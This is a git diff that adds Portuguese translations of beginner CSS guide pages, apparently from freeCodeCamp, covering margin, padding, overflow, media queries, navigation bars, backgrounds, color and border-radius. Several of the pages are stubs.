+Os valores de margem são definidos usando comprimentos ou porcentagens, ou `auto` ou `inherit` palavra-chave, e podem aceitar valores zero ou negativos. O valor inicial, ou padrão, para todas as propriedades de margem é 0. Enquanto você pode usar a palavra-chave `inherit` mas não pode ser usado junto com um valor de comprimento.
+
+## Sintaxe
+
+```css
+.element { 
+    margin: margin-top || margin-right || margin-bottom || margin-left; 
+ } 
+```
+
+Essa propriedade pode ser especificada usando um, dois, três ou quatro valores.
+
+*   Quando um valor é especificado, ele aplica a mesma margem aos quatro lados.
+*   Quando dois valores são especificados, a primeira margem se aplica à parte superior e inferior, a segunda à esquerda e à direita.
+*   Quando três valores são especificados, a primeira margem se aplica à parte superior, a segunda à esquerda e à direita e a terceira à parte inferior.
+*   Quando quatro valores são especificados, as margens são aplicadas na parte superior, direita, inferior e esquerda nessa ordem (sentido horário).
+
+```css
+/* Apply to all four sides */ 
+ margin: 1em; 
+ 
+ /* top and bottom | left and right */ 
+ margin: 5% 10%; 
+ 
+ /* top | left and right | bottom */ 
+ margin: 1em 2em 2em; 
+ 
+ /* top | right | bottom | left */ 
+ margin: 5px 1em 0 1em; 
+```
+
+## Onde no modelo de caixa
+
+A propriedade de margem no CSS define a parte mais externa do modelo de caixa, criando espaço em torno do conteúdo de um elemento, fora de quaisquer limites e / ou bordas definidos.
+
+![O modelo de caixa CSS](https://www.w3.org/TR/css3-box/box.png)
+
+## Margens em colapso
+
+Margens verticais em elementos diferentes que se tocam (portanto, sem conteúdo, preenchimento ou bordas separando-as) irão colapsar, formando uma margem única que é igual à maior das margens adjacentes. Isso não acontece nas margens horizontais (esquerda e direita), apenas vertical (superior e inferior).
+
+## Suporte de Navegador
+
+É efetivamente suportado em todos os navegadores (desde IE6 +, Firefox 2+, Chrome 1+ etc)
+
+### Mais Informações
+
+*   [Esboço de trabalho do W3C](https://www.w3.org/TR/css3-box/#the-margin)
+*   [W3C CSS Nível 2](https://www.w3.org/TR/CSS2/box.html#propdef-margin)
+*   [W3C CSS Nível 1](https://www.w3.org/TR/CSS1/#margin)
+*   [Documento Web do MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/margin)
+*   [Truques CSS](https://css-tricks.com/almanac/properties/m/margin/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/media-queries/index.md b/client/src/guide/portuguese/css/media-queries/index.md
new file mode 100644
index 0000000000..faa3c69a37
--- /dev/null
+++ b/client/src/guide/portuguese/css/media-queries/index.md
@@ -0,0 +1,31 @@
+---
+title: Media Queries
+localeTitle: Consultas de mídia
+---
+#### Leitura sugerida:
+
+[Usando consultas de mídia - MDN web docs](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries)
+
+Veja também a seção [Princípios de design da Web responsivo](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/seed/challenges/01-responsive-web-design/responsive-web-design.json) em Beta
+
+#### Versão preliminar do artigo:
+
+Consultas de mídia são conjuntos de regras que definem propriedades CSS. Você pode definir consultas de mídia para alterar a aparência do seu conteúdo com base em como seu conteúdo é visualizado.
+
+As consultas de mídia podem determinar a aparência do seu conteúdo em exibições diferentes. Alguns exemplos de exibições diferentes são: imagens em uma tela de computador, texto impresso ou páginas da Web em um leitor de tela de áudio.
+
+Em páginas da Web, alguns elementos podem não ser exibidos de forma consistente em diferentes tamanhos de tela. Você pode usar consultas de mídia para definir regras especiais para telas pequenas e maiores.
+
+Aqui está um exemplo de uma consulta de mídia que define o tamanho do texto do corpo em uma tela do telefone:
+
+```css
+@media screen and (max-width: 450px) { 
+ body { 
+   font-size: 12px; 
+  } 
+ } 
+```
+
+Esta consulta de mídia estipula que, para tamanhos de tela de até 450 pixels de largura, o texto do corpo deve ser exibido em um tamanho de fonte de 12 px.
+
+Consultas de mídia podem ser úteis no [design da Web responsivo](https://guide.freecodecamp.org/html/responsive-web-design) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/navigation-bars/index.md b/client/src/guide/portuguese/css/navigation-bars/index.md
new file mode 100644
index 0000000000..6471899eae
--- /dev/null
+++ b/client/src/guide/portuguese/css/navigation-bars/index.md
@@ -0,0 +1,66 @@
+---
+title: Navigation Bars
+localeTitle: Barras de Navegação
+---
+## Barras de Navegação
+
+Barras de navegação são um elemento muito importante para qualquer site. Eles fornecem o principal método de navegação, fornecendo uma lista principal de links para um usuário. Existem muitos métodos para criar uma barra de navegação. A maneira mais fácil de criar uma barra de navegação é usar uma lista não ordenada e estilizá-la com CSS.
+
+As barras de navegação são compostas principalmente por listas `<ul>` que são organizadas e estilizadas horizontalmente.
+
+Ao estilizar as barras de navegação, é comum remover o espaçamento extra criado pelas tags `<ul>` e `<li>` , bem como os pontos de marcação que são inseridos automaticamente:
+
+```css
+   list-style-type: none; 
+   margin: 0px; 
+   padding: 0px; 
+```
+
+**Exemplo:**
+
+Existem duas partes para qualquer navegação: o HTML e o CSS. Este é apenas um exemplo rápido.
+
+```html
+
+<nav class="myNav">                                 <!-- Any element can be used here --> 
+    <ul> 
+        <li><a href="index.html">Home</a></li> 
+        <li><a href="about.html">About</a></li> 
+        <li><a href="contact.html">Contact</a></li> 
+    </ul> 
+ </nav> 
+```
+
+```css
+/* Define the main Navigation block */ 
+ .myNav { 
+    display: block; 
+    height: 50px; 
+    line-height: 50px; 
+    background-color: #333; 
+ } 
+ /* Remove bullets, margin and padding */ 
+ .myNav ul { 
+    list-style: none; 
+    padding: 0; 
+    margin: 0; 
+ } 
+ .myNav li { 
+    float: left; 
+    /* Or you can use display: inline; */ 
+ } 
+ /* Define the block styling for the links */ 
+ .myNav li a { 
+    display: inline-block; 
+    text-align: center; 
+    padding: 14px 16px; 
+ } 
+ /* This is optional, however if you want to display the active link differently apply a background to it */ 
+ .myNav li a.active { 
+    background-color: #3786E1; 
+ } 
+```
+
+#### Mais Informações:
+
+Mais exemplos de navegação: [W3Schools](https://www.w3schools.com/css/css_navbar.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/object-fit/index.md b/client/src/guide/portuguese/css/object-fit/index.md
new file mode 100644
index 0000000000..8f61d056ec
--- /dev/null
+++ b/client/src/guide/portuguese/css/object-fit/index.md
@@ -0,0 +1,42 @@
+---
+title: Object Fit
+localeTitle: Ajuste de objetos
+---
+# Ajuste de objetos
+
+A propriedade de `object-fit` especifica como um elemento responde à largura / altura de sua caixa pai.
+
+Esta propriedade pode ser usada para imagem, vídeo ou qualquer outra mídia. Ele também pode ser usado com a propriedade de `object-position` do `object-position` para obter mais controle sobre como a mídia é exibida.
+
+Basicamente, usamos a propriedade de `object-fit` para definir como ela estica ou esmaga uma mídia embutida.
+
+## Sintaxe
+
+```css
+.element { 
+    object-fit: fill || contain || cover || none || scale-down; 
+ } 
+```
+
+## Valores
+
+*   `fill` : **este é o valor padrão** . Redimensione o conteúdo para corresponder à sua caixa pai, independentemente da proporção.
+    
+*   `contain` : Redimensione o conteúdo para preencher sua caixa pai usando a proporção correta.
+    
+*   `cover` : semelhante a `contain` mas muitas vezes cortando o conteúdo.
+    
+*   `none` : exibe a imagem no tamanho original.
+    
+*   `scale-down` : compara a diferença entre `none` e `contain` para encontrar o menor tamanho de objeto concreto.
+    
+
+## Compatibilidade do Navegador
+
+O `object-fit` é suportado pela maioria dos navegadores modernos, para as informações mais atualizadas sobre compatibilidade, você pode verificar isso http://caniuse.com/#search=object-fit
+
+Também há um polyfill para navegador não suportado (principalmente IE). https://github.com/anselmh/object-fit
+
+## Mais Informações
+
+https://developer.mozilla.org/pt-BR/docs/Web/CSS/object-fit https://drafts.csswg.org/css-images-3/#the-object-fit
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/overflow/index.md b/client/src/guide/portuguese/css/overflow/index.md
new file mode 100644
index 0000000000..83e6a1d26c
--- /dev/null
+++ b/client/src/guide/portuguese/css/overflow/index.md
@@ -0,0 +1,74 @@
+---
+title: Overflow
+localeTitle: Transbordar
+---
+# Transbordar
+
+A propriedade de `overflow` especifica o que acontece se o conteúdo estourar a caixa de um elemento (essa propriedade só funciona para elementos de bloco com uma altura especificada).
+
+Esta propriedade especifica se é necessário recortar o conteúdo ou adicionar barras de rolagem quando o conteúdo de um elemento é grande demais para caber em uma área especificada.
+
+Por exemplo, um determinado elemento de nível de bloco ( `<div>` ) definido como 300px de largura, que contém uma imagem com largura de 400px. A imagem ficará fora da div e ficará visível por padrão. No entanto, se o valor de estouro estiver definido como oculto, a imagem será cortada em 300px.
+
+## Valores
+
+*   `visible` : este é o valor padrão da propriedade. O conteúdo não é recortado quando é maior que a caixa.
+*   `hidden` : O conteúdo transbordante ficará oculto.
+*   `scroll` : Semelhante ao oculto, mas os usuários poderão rolar pelo conteúdo oculto.
+*   `auto` : se o conteúdo continuar fora de sua caixa, esse conteúdo ficará oculto, enquanto uma barra de rolagem deverá estar visível para os usuários lerem o restante do conteúdo.
+*   `initial` : usa o valor padrão que é visível.
+*   `inherit` : define o estouro para o valor de seu elemento pai.
+
+## Exemplos
+
+### Visível:
+
+```css
+.box-element { overflow: visible; } 
+```
+
+![Exemplo de imagem](https://s26.postimg.org/gweu6g5yh/1-vissible.png)
+
+### Escondido:
+
+```css
+.box-element { overflow: hidden; } 
+```
+
+![Exemplo de imagem](https://s26.postimg.org/l49mf77e1/2-hidden.png)
+
+### Rolagem:
+
+```css
+.box-element { overflow: scroll; } 
+```
+
+![Exemplo de imagem](https://s26.postimg.org/d8z30dxrd/3-scroll.png)
+
+### Auto:
+
+```css
+.box-element { overflow: auto; } 
+```
+
+![Exemplo de imagem](https://s26.postimg.org/z5q7ei0bt/4-autoank.png)
+
+## estouro-x e estouro-y
+
+*   `overflow-x` : permite ao usuário percorrer o conteúdo que ultrapassa a altura do elemento box.
+*   `overflow-y` : permite ao usuário rolar pelo conteúdo que ultrapassa a largura da caixa.
+
+```css
+  .box-element { 
+    overflow-x: scroll; 
+    overflow-y: auto; 
+  } 
+```
+
+E o `.box-element` será assim: ![Exemplo de imagem](https://s26.postimg.org/ff2kmdfzd/5-_Xand_Y.png)
+
+Se o conteúdo ultrapassar o eixo Y, esse conteúdo ficará oculto, enquanto uma barra de rolagem deverá estar visível para os usuários lerem o restante do conteúdo.
+
+#### Mais Informações:
+
+CSS-Tricks: [estouro](https://css-tricks.com/almanac/properties/o/overflow/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/padding/index.md b/client/src/guide/portuguese/css/padding/index.md
new file mode 100644
index 0000000000..37347f02c4
--- /dev/null
+++ b/client/src/guide/portuguese/css/padding/index.md
@@ -0,0 +1,57 @@
+---
+title: Padding
+localeTitle: Preenchimento
+---
+# Preenchimento
+
+A propriedade CSS de `padding` define a área de preenchimento em todos os quatro lados de um elemento. Essa propriedade pode ser usada para gerar espaço ao redor do conteúdo (dentro da borda). É uma abreviação para definir todos os acolchoamentos individuais de uma só vez: `padding-top` , `padding-right` , `padding-bottom` e `padding-left` . Os valores são definidos no sentido horário.
+
+Os valores de preenchimento são definidos usando comprimentos ou porcentagens ou `inherit` palavra-chave e não podem aceitar valores negativos. O valor inicial ou padrão para todas as propriedades de preenchimento é 0. Embora você possa usar a palavra-chave `inherit` mas não pode ser usado junto com um valor de comprimento.
+
+## Sintaxe
+
+```css
+.element { 
+    padding: [padding-top] || [padding-right] || [padding-bottom] || [padding-left]; 
+ } 
+```
+
+Essa propriedade pode ser especificada usando um, dois, três ou quatro valores.
+
+*   Quando um valor é especificado, ele aplica o mesmo preenchimento aos quatro lados.
+*   Quando dois valores são especificados, o primeiro preenchimento se aplica à parte superior e inferior, o segundo à esquerda e à direita.
+*   Quando três valores são especificados, o primeiro preenchimento é aplicado ao topo, o segundo à esquerda e à direita e o terceiro à parte inferior.
+*   Quando quatro valores são especificados, os preenchimentos são aplicados na parte superior, direita, inferior e esquerda nessa ordem (sentido horário).
+
+```css
+/* em refers to the current font size of an element */ 
+ /* Apply to all four sides */ 
+ padding: 1em; 
+ 
+ /* top and bottom | left and right */ 
+ padding: 5% 10%; 
+ 
+ /* top | left and right | bottom */ 
+ padding: 1em 2em 2em; 
+ 
+ /* top | right | bottom | left */ 
+ padding: 5px 1em 0 1em; 
+```
+
+## Onde no modelo de caixa
+
+A propriedade de preenchimento em CSS define a parte mais interna do modelo de caixa, criando espaço em torno do conteúdo de um elemento, dentro de quaisquer margens e / ou bordas definidas.
+
+![O modelo de caixa CSS](https://www.w3.org/TR/css3-box/box.png)
+
+## Suporte de Navegador
+
+É efetivamente suportado em todos os navegadores (desde IE6 +, Firefox 2+, Chrome 1+ etc)
+
+### Mais Informações
+
+*   [Esboço de trabalho do W3C](https://www.w3.org/TR/css3-box/#the-padding)
+*   [W3C CSS Nível 2](https://www.w3.org/TR/CSS2/box.html#propdef-padding)
+*   [W3C CSS Nível 1](https://www.w3.org/TR/CSS1/#padding)
+*   [Documento Web do MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/padding)
+*   [Truques CSS](https://css-tricks.com/almanac/properties/p/padding/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/pointer-events/index.md b/client/src/guide/portuguese/css/pointer-events/index.md
new file mode 100644
index 0000000000..7c97ba939c
--- /dev/null
+++ b/client/src/guide/portuguese/css/pointer-events/index.md
@@ -0,0 +1,15 @@
+---
+title: Pointer Events
+localeTitle: Eventos de ponteiro
+---
+## Eventos de ponteiro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/using-css-transitions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+*   [eventos de ponteiro em documentos da Web do MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/pointer-events)
+*   [Especificação de Scalable Vector Graphics 1.1 (recomendação)](https://www.w3.org/TR/SVG11/interact.html#PointerEventsProperty)
+*   [Posso usar: propriedade de eventos de ponteiro CSS](https://caniuse.com/#feat=pointer-events)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/progressive-enhancement/index.md b/client/src/guide/portuguese/css/progressive-enhancement/index.md
new file mode 100644
index 0000000000..7cc8fdc21e
--- /dev/null
+++ b/client/src/guide/portuguese/css/progressive-enhancement/index.md
@@ -0,0 +1,11 @@
+---
+title: Progressive Enhancement
+localeTitle: Aprimoramento Progressivo
+---
+## Aprimoramento Progressivo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/progressive-enhancement/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/background-color-property/index.md b/client/src/guide/portuguese/css/properties/background-color-property/index.md
new file mode 100644
index 0000000000..46803cae5b
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/background-color-property/index.md
@@ -0,0 +1,39 @@
+---
+title: Background Color Property
+localeTitle: Propriedade da cor de fundo
+---
+## Propriedade da cor de fundo
+
+Você usa a propriedade `background-color` para definir a cor de fundo de um elemento. Você pode usar um valor de cor (nome da cor, valor hexadecimal, valor RGB / RGBA, valor HSL / HSLA) ou a palavra-chave `transparent` .
+
+**Exemplo:**
+
+```css
+body { 
+    background-color: crimson; 
+ } 
+ 
+ div { 
+    background-color: #ffffff; 
+ } 
+ 
+ .myClass { 
+    background-color: rgba(0, 0, 0, 0.5); 
+ } 
+```
+
+#### Valores de propriedade:
+
+`background-color: color | transparent | initial | inherit;`
+
+`color` - Especifica a cor de fundo (nome da cor, valor hexadecimal, valor RGB / RGBA, valor HSL / HSLA).
+
+`transparent` - o valor padrão. Define a cor do plano de fundo como transparente.
+
+`initial` - Define essa propriedade para seu valor inicial (o valor padrão).
+
+`inherit` - Herda essa propriedade de seu elemento pai.
+
+#### Mais Informações:
+
+[MDN web docs](https://developer.mozilla.org/en-US/docs/Web/CSS/background-color?v=b)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/background-image-property/index.md b/client/src/guide/portuguese/css/properties/background-image-property/index.md
new file mode 100644
index 0000000000..c4914e6f67
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/background-image-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Background Image Property
+localeTitle: Propriedade da imagem de fundo
+---
+#### Leitura sugerida:
+
+https://developer.mozilla.org/pt-BR/docs/Web/CSS/background-image
+
+#### Versão preliminar do artigo:
+
+Explicação e exemplos da propriedade background-image em CSS
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/background-position-property/index.md b/client/src/guide/portuguese/css/properties/background-position-property/index.md
new file mode 100644
index 0000000000..159e79a703
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/background-position-property/index.md
@@ -0,0 +1,40 @@
+---
+title: Background Position Property
+localeTitle: Propriedade de posição de plano de fundo
+---
+## Propriedade de posição de plano de fundo
+
+A propriedade background define a posição de onde a imagem de fundo deve começar. Em outras palavras, essa propriedade terá um valor x e um valor y e iniciará a imagem a partir do ponto `(x, y)` .
+
+**Exemplo:**
+
+```css
+/* setting background-image of HTML doc */ 
+ body { 
+  background-image: url('https://i.imgur.com/6Z2VStD.png'); 
+  background-repeat: no-repeat; 
+  background-position: right top; 
+ } 
+```
+
+Por padrão, a propriedade background-position é definida como `0% 0%` .
+
+**Valores de propriedade:**
+
+`background-position: x-value y-value` onde,
+
+_valor x_ : `left | center | right | x% | x px` e
+
+_valor y_ : `top | center | bottom | y% | y px` .
+
+Outros valores de propriedade permitidos são `initial` e `inherit` .
+
+`initial` : define essa propriedade como seu valor padrão.
+
+`inherit` : `inherit` o valor do elemento pai.
+
+**Nota:** Quando apenas um valor é dado a background-property, o outro é, por padrão, definido como `center` .
+
+**Outros recursos:**
+
+Docs MDN: https://developer.mozilla.org/pt-BR/docs/Web/CSS/background-position
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/background-property/index.md b/client/src/guide/portuguese/css/properties/background-property/index.md
new file mode 100644
index 0000000000..b4c8e791ee
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/background-property/index.md
@@ -0,0 +1,47 @@
+---
+title: Background Property
+localeTitle: Propriedade de plano de fundo
+---
+## Propriedade de plano de fundo
+
+A propriedade background do CSS permite declarar todas as oito propriedades de background de uma só vez usando esta declaração curta 1 .
+
+A propriedade background é especificada como uma ou mais camadas de plano de fundo, separadas por vírgulas para as seguintes propriedades 2 :
+
+*   cor de fundo
+*   imagem de fundo
+*   posição de fundo
+*   tamanho de fundo
+*   fundo de repetição
+*   origem de fundo
+*   clipe de fundo
+*   fundo de ligação
+
+Sintaxe 1 :
+
+```css
+body { 
+  /* Using a <background-color> */ 
+  background: green; 
+ } 
+ 
+ .error { 
+  /* Using a <bg-image> and <repeat-style> */ 
+  background: url("test.jpg") repeat-y; 
+ } 
+ 
+ header { 
+  /* Using a <box> and <background-color> */ 
+  background: border-box red; 
+ } 
+ 
+ .topbanner { 
+  /* A single image, centered and scaled */ 
+  background: no-repeat center/80% url("../img/image.png"); 
+ } 
+```
+
+### Fontes
+
+1.  [Visite a página de fundo do MDN para mais informações.](https://developer.mozilla.org/en-US/docs/Web/CSS/background)
+2.  [Visite a página de propriedades de plano de fundo de CSS do W3School para obter mais informações.](https://www.w3schools.com/cssref/css3_pr_background.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/background-repeat-property/index.md b/client/src/guide/portuguese/css/properties/background-repeat-property/index.md
new file mode 100644
index 0000000000..0d8364f8b3
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/background-repeat-property/index.md
@@ -0,0 +1,50 @@
+---
+title: Background Repeat Property
+localeTitle: Propriedade de repetição de plano de fundo
+---
+## Propriedade de repetição de plano de fundo
+
+A propriedade CSS de repetição de fundo define como as imagens de fundo são repetidas.
+
+Uma imagem de fundo pode ser repetida ao longo do eixo horizontal, o eixo vertical, ambos os eixos, ou não é repetido de todo. Por padrão, uma imagem de fundo é repetida vertical e horizontalmente.
+
+Sintaxe:
+
+```css
+background-repeat: repeat|repeat-x|repeat-y|no-repeat|initial|inherit; 
+```
+
+*   repeat: A imagem de fundo será repetida vertical e horizontalmente. Este é o padrão
+    
+*   repeat-x: a imagem de fundo será repetida apenas horizontalmente
+    
+*   repeat-y: a imagem de fundo será repetida apenas verticalmente.
+    
+*   no-repeat: a imagem de fundo não será repetida.
+    
+*   initial: define essa propriedade como seu valor padrão.
+    
+*   inherit: herda essa propriedade de seu elemento pai.
+    
+
+Exemplos: Para repetir a imagem horizontal e verticalmente
+
+```css
+body { 
+    background-image:url(smiley.gif); 
+    background-repeat:repeat; 
+ } 
+```
+
+Para repetir a imagem horizontalmente
+
+```css
+body { 
+    background-image:url(smiley.gif); 
+    background-repeat:repeat-x; 
+ } 
+```
+
+#### Mais Informações:
+
+[Para obter mais informações sobre propriedade de repetição de plano de fundo](https://developer.mozilla.org/en-US/docs/Web/CSS/background-repeat)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/border-style-property/index.md b/client/src/guide/portuguese/css/properties/border-style-property/index.md
new file mode 100644
index 0000000000..b3f0da74e3
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/border-style-property/index.md
@@ -0,0 +1,11 @@
+---
+title: Border Style Property
+localeTitle: Propriedade de estilo de borda
+---
+## Propriedade de estilo de borda
+
+Você pode usar `border-style` propriedade `border-style` para definir o estilo de linha para todas as bordas de um elemento.
+
+#### Mais Informações:
+
+Documentos: [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/border-style)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/clear-property/index.md b/client/src/guide/portuguese/css/properties/clear-property/index.md
new file mode 100644
index 0000000000..a7603d58de
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/clear-property/index.md
@@ -0,0 +1,32 @@
+---
+title: Clear Property
+localeTitle: Propriedade clara
+---
+## Propriedade clara
+
+Você pode usar a propriedade `clear` para empurrar para baixo um elemento, impedindo que ele apareça ao lado do elemento precedente flutuante.
+
+A propriedade `clear` pode ter os seguintes valores:
+
+Esta propriedade é usada depois que a propriedade `float` é usada para "limpar" o `float` .
+
+```css
+clear: none; 
+ clear: left; 
+ clear: right; 
+ clear: both; 
+ clear: inline-start; 
+ clear: inline-end; 
+```
+
+### Exemplo:
+
+![Clear Property Image](https://image.ibb.co/defebR/clear.png "Propriedade clara")
+
+No exemplo acima, o `div` amarelo tem a propriedade `float:left` e pode caber sob o `div` coral. No entanto, como o `div` amarelo também tem a propriedade `clear: both` se movem abaixo dos elementos flutuantes.
+
+#### Mais Informações:
+
+*   https://css-tricks.com/almanac/properties/c/clear/
+*   https://www.w3schools.com/cssref/pr _class_ clear.asp
+*   https://developer.mozilla.org/pt-BR/docs/Web/CSS/clear
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/color-property/index.md b/client/src/guide/portuguese/css/properties/color-property/index.md
new file mode 100644
index 0000000000..3d3c4c1274
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/color-property/index.md
@@ -0,0 +1,84 @@
+---
+title: Color Property
+localeTitle: Propriedade da cor
+---
+## Propriedade de cor CSS
+
+Você pode usar a propriedade `color` para definir a cor do texto em um elemento.
+
+Você pode usar vários métodos para declarar uma cor como:
+
+*   Por Nome (Nota: isto só funciona com certas cores)
+
+```css
+h1{ 
+    color: blue; 
+ } 
+```
+
+*   Hexadecimal (especificado como #rrggbb)
+
+```css
+h1{ 
+    color:  #0000ff; 
+ } 
+```
+
+*   RGB (especificado como rgb (r, g, b))
+
+```css
+h1{ 
+    color: rgb(0, 0, 255); 
+ } 
+```
+
+*   RGBA (especificado como rgba (r, g, b, alfa))
+
+```css
+h1{ 
+    color: rgba(0, 0, 255, 0.5); 
+ } 
+```
+
+*   HSL (matiz, luminosidade, saturação)
+
+```css
+h1{ 
+    color: hsl(240, 100%, 50%); 
+ } 
+```
+
+*   HSLA (matiz, leveza, saturação, alfa)
+
+```css
+h1{ 
+    color: hsl(240, 100%, 50%, 0.5); 
+ } 
+```
+
+## Propriedades de cores CSS explicadas
+
+*   Cores por nome:
+    
+    *   Estes são bastante auto-explicativos. Cada cor é representada pelo seu nome.
+*   Hexadecimal:
+    
+    *   Essas cores são representadas por trigêmeos hexadecimais.
+    *   Um tripleto hexadecimal é um número hexadecimal de seis dígitos e três bytes.
+    *   Cada um dos três bytes representa uma cor #RRGGBB (vermelho, verde, azul).
+    *   A cor hexadecimal de taquigrafia é representada por um número hexadecimal de três dígitos #RGB (vermelho, verde, azul).
+*   Cores RGB e RGBA:
+    
+    *   As cores RGB são cores de 24 bits (3 bytes) representadas por 3 números no intervalo de 0 a 255. (por exemplo, rgb (255,255,128)).
+    *   As cores RGBA são de 32 bits (4 bytes) representadas por 3 números no intervalo de 0 a 255 e o valor alfa controla a opacidade. (por exemplo, rgb (255,255,128, 0,3)).
+*   HSL & HSLA Cores:
+    
+    *   A cor do HSL é representada por três valores (HUE, Saturation, Lightness).
+    *   A cor do HSLA é representada por quatro valores (HUE, Saturation, Lightness, Alpha). Alpha controla a opacidade.
+
+#### Mais Informações
+
+*   W3 Schools site sobre como formatar o [texto](https://www.w3schools.com/css/css_text.asp) .
+*   Site das Escolas W3 em [cores](https://www.w3schools.com/colors/default.asp) .
+*   Propriedade de cor no [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/color) .
+*   Documentação em [w3.org](https://www.w3.org/wiki/CSS/Properties/color) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/css3-background-size-property/index.md b/client/src/guide/portuguese/css/properties/css3-background-size-property/index.md
new file mode 100644
index 0000000000..034ddbbc90
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/css3-background-size-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Background Size Property
+localeTitle: Propriedade de tamanho de plano de fundo CSS3
+---
+## Propriedade de tamanho de plano de fundo CSS3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-background-size-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/css3-border-radius-property/index.md b/client/src/guide/portuguese/css/properties/css3-border-radius-property/index.md
new file mode 100644
index 0000000000..9742f2def5
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/css3-border-radius-property/index.md
@@ -0,0 +1,17 @@
+---
+title: CSS3 Border Radius Property
+localeTitle: Propriedade de raio de borda CSS3
+---
+## Propriedade de raio de borda CSS3
+
+Você pode fazer as bordas do elemento arredondar usando `border-radius` propriedade `border-radius` . Você pode definir de um a quatro valores para `border-radius` propriedade `border-radius` :
+
+*   `border-radius: 5px;` - esta regra será aplicada a todos os cantos
+*   `border-radius: 5px 10px` - Esta regra será aplicada primeiro valor para _canto superior esquerdo_ e _inferior direito,_ segundo valor para _superior direito_ e _inferior esquerdo._
+*   `border-radius: 3px 5px 7px 10px` - Esta regra aplicará o primeiro valor ao _canto superior esquerdo_ , o segundo valor ao _superior direito_ , o terceiro valor ao _canto inferior direito_ , o quarto valor ao _canto inferior esquerdo_ .
+*   No caso de três valores, o segundo valor aplica-se tanto ao _canto superior direito_ quanto ao _canto inferior esquerdo_ .
+
+#### Mais Informações:
+
+*   [MDN - border-radius](https://developer.mozilla.org/en-US/docs/Web/CSS/border-radius)
+*   [CSS-Tricks - border-radius](https://css-tricks.com/almanac/properties/b/border-radius/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/css3-box-shadow-property/index.md b/client/src/guide/portuguese/css/properties/css3-box-shadow-property/index.md
new file mode 100644
index 0000000000..de014d51f0
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/css3-box-shadow-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Box Shadow Property
+localeTitle: Propriedade Shadow da Box CSS3
+---
+## Propriedade Shadow da Box CSS3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-box-shadow-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/css3-box-sizing-property/index.md b/client/src/guide/portuguese/css/properties/css3-box-sizing-property/index.md
new file mode 100644
index 0000000000..f5000539d3
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/css3-box-sizing-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Box Sizing Property
+localeTitle: Propriedade de dimensionamento de caixa CSS3
+---
+## Propriedade de dimensionamento de caixa CSS3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/css/properties/css3-box-sizing-property/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/css/properties/css3-columns-property/index.md b/client/src/guide/portuguese/css/properties/css3-columns-property/index.md
new file mode 100644
index 0000000000..be5c64e25b
--- /dev/null
+++ b/client/src/guide/portuguese/css/properties/css3-columns-property/index.md
@@ -0,0 +1,11 @@
+---
+title: CSS3 Columns Property
+localeTitle: Propriedade de Colunas CSS3
+---
+## Propriedade de Colunas CSS3
+
